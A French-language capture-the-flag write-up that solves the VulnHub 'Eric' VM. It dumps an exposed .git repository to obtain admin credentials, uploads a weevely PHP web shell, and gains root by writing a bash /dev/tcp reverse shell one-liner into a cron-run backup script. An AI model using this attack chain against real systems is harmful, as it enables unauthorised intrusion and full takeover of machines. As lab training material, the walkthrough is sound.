SP: eric ~ VulnHub
Au programme aujourd’hui un CTF Beginner avec la VM Eric disponible sur VulnHub.com. Alors on nous indique qu’il y a deux flags à trouver : /root/flag.txt et /home/eric/flag.txt.
On nous indique que le DHCP est activé sur la VM Eric. La première chose à faire va être de déterminer son adresse IP via netdiscover. La VM se trouve en 192.168.1.82.
Scanning :
On va lancer un Nmap pour déterminer les ports ouverts sur la VM
nmap -A 192.168.1.82
Les ports 22 et 80 sont ouverts et on note qu’il y a un dépôt git.
Enumération :
On accède via firefox à 192.168.1.82
On a un blog en construction… On va essayer de déterminer s’il y a d’autres pages sur le serveur http via Dirbuster.
dirb http://192.168.1.82
On obtient des informations intéressantes. D’une part, il y a un script admin.php et d’autre part, on a un répertoire upload. En se connectant au script admin.php, on obtient un formulaire d’authentification. Il faut trouver un moyen d’avoir les identifiants de connexion.
Exploitation :
On va essayer d’exploiter le dépôt git via GitTools
git clone https://github.com/internetwache/GitTools
cd GitTools
cd Dumper
./gitdumper.sh http://192.168.1.82/.git/ dest
Avec le dumper, on a essayer de faire un download des informations contenues dans le dépôt git. On va maintenant essayer de faire une extraction.
cd ../Extractor
./extractor.sh ../Dumper/dest ./dest
On voit qu’on a des admin.php qu’il faut explorer. Ce sont des copies à un instant t du formulaire d’authentification.
cd dest/2–3db5628b550f5c9c9f6f663cd158374035a6eaa0
cat admin.php
On a trouvé les valeurs des champs “username” et “password”. On va pouvoir essayer de se connecter sur la page admin.php.
La partie “admin” comporte un formulaire d’ajout de post. On note qu’il y a possibilité d’uploader des fichiers et on se rappelle que Dirbuster avait trouvé un répertoire “upload”. Un reverse shell php pourrait nous permettre de se connecter à la machine.
weevely generate password myshell.php
On upload maintenant le fichier myshell.php
On accède maintenant à notre reverse shell via :
weevely http://192.168.1.82/upload/myshell.php password
ls
cd /home
cd eric
ls -al
cat flag.txt
Voilà on a obtenu notre premier drapeau !
Escalade de privilèges :
Maintenant il va falloir trouver le moyen d’être root. Dans le répertoire “eric”, on voit un fichier backup.sh qui est en root:root et qui contient une sauvegarde du site internet. Cela arrive fréquemment dans les CTF qu’un script de backup soit lancé via une tâche cron. L’idée va donc être de remplacer le contenu de “backup.sh” par un reverse shell bash. Voici un site répertoriant des reverse shell : https://www.asafety.fr/reverse-shell-one-liner-cheat-sheet/#Bash.
On va utiliser celui-là :
0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196
<IP>: l’adresse IP de la machine avec laquelle vous menez l’attaque
echo “0<&196-;exec 196<>/dev/tcp/192.168.1.97/4455;sh <&196 >&196 2>&196” > backup.sh
Sur un autre terminal
nc -lvp 4455
On attend que le script backup.sh soit lancé. Le reverse shell fonctionne !
id
ls
cat flag.txt
Et voilà, on est root et on a obtenu les deux flags.